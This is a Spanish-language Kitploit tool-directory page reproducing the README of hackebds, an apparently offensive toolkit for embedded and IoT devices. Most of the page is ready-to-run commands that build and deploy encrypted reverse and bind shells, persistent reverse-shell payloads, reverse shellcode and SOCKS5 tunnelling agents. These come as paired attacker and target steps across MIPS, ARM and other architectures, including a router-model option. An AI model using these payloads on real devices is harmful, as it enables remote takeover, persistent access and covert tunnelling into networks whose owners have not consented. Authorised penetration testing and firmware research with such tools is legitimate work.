Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hackEmbedded — Esta herramienta se utiliza para el cifrado de backdoors, shellcode, generación de proxies socks5, recuperación de información y organización de POCs para varios dispositivos de arquitectura. | Kitploit
Herramientas/GitHubGitHub/doudoudedi/hackembedded
Seguridad de Sistemas EmbebidosHerramientas de Cifrado/DescifradoSeguridad IoTGeneración de PayloadsExplotaciónIngeniería InversaShellcodePruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoAnálisis de Firmware
2073253hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
doudoudedi/hackembedded

hackEmbedded

Esta herramienta se utiliza para el cifrado de backdoors, shellcode, generación de proxies socks5, recuperación de información y organización de POCs para varios dispositivos de arquitectura.

Ver Repositorio

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗中文 readme

Resumen

hackebds es un conjunto de herramientas para la generación de payloads para dispositivos empotrados, flujos de shell cifrados, túneles de proxy SOCKS5 y consulta de información de dispositivos.

La rama actual utiliza un flujo de trabajo ELF puro para las funcionalidades de shell cifrado y proxy:

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

Qué cambió en la nueva versión

  • Se añadió reverse shell cifrado y bind shell cifrado para las arquitecturas compatibles en el árbol actual.
  • Se añadió encrypted_shell_server / reverse_shell_server como listener ELF para recibir reverse shells cifrados sin necesidad de manejadores en tiempo de ejecución de Python.
  • Se añadió bind_shell_client como conector ELF para bind_shell.
  • Se añadieron flujos de trabajo ELF para proxy SOCKS5 inverso y proxy SOCKS5 directo.
  • Se añadieron opciones de cifrado aes y chacha20 para el tráfico de shell/proxy cifrado.
  • Se añadió -bind_ip para binarios ELF del lado del listener como bind_shell, encrypted_shell_server, reverse_proxy_server y forward_proxy_file.
  • Se mantuvo reverse_shell_file y como payloads de conexión saliente: usan y no vinculan una IP de listener local.

Instalación

root@kitploit:~
python3 -m pip install -U hackebds

Instalación para desarrollo local:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

Compilar en otra máquina

Si reconstruye las ruedas de distribución en otro equipo, use el zip fuente y build_release.py.

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

Binutils requeridos

Instale los binutils de la arquitectura objetivo antes de generar archivos ELF no nativos.

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

Usuarios de macOS pueden usar pwntools binutils:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

Ejemplos de uso

1. Reverse Shell Cifrado

Lado del atacante:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

Lado del objetivo:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

Notas:

  • reverse_shell_file no soporta -bind_ip
  • encrypted_shell_server soporta -bind_ip
  • cambie -cipher chacha20 a -cipher aes para usar AES

2. Bind Shell Cifrado

Lado del objetivo:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

Lado del atacante:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

Luego ingrese:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. Reverse Shell Persistente

Receptor:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

Payload:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. Proxy SOCKS5 Inverso Cifrado

Servidor:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

Agente:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

Prueba:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

Servidor con autenticación:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

Nota sobre UDP:

  • El proxy SOCKS5 inverso tiene soporte UDP en las rutas de proxy implementadas que no son SPARC.
  • sparc / sparc64 no deben considerarse como compatibles con UDP.

5. Proxy SOCKS5 Directo

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

Prueba:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. Shellcode Inverso

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. Usar -model

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. Usar --mcpu

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. Usar --firmware

root@kitploit:~
hackebds --firmware ./firmware.bin

Notas

  • -bind_ip es solo para archivos ELF del lado del listener.
  • reverse_shell_file y reverse_proxy_file son payloads de conexión saliente y no vinculan una IP de listener local.
  • reverse_proxy_server y forward_proxy_file soportan -bind_ip.
  • Los ejemplos de shell/proxy cifrado funcionan tanto con chacha20 como con aes, siempre que ambos lados coincidan.
Descargar herramienta
reverse_proxy_file
-reverse_ip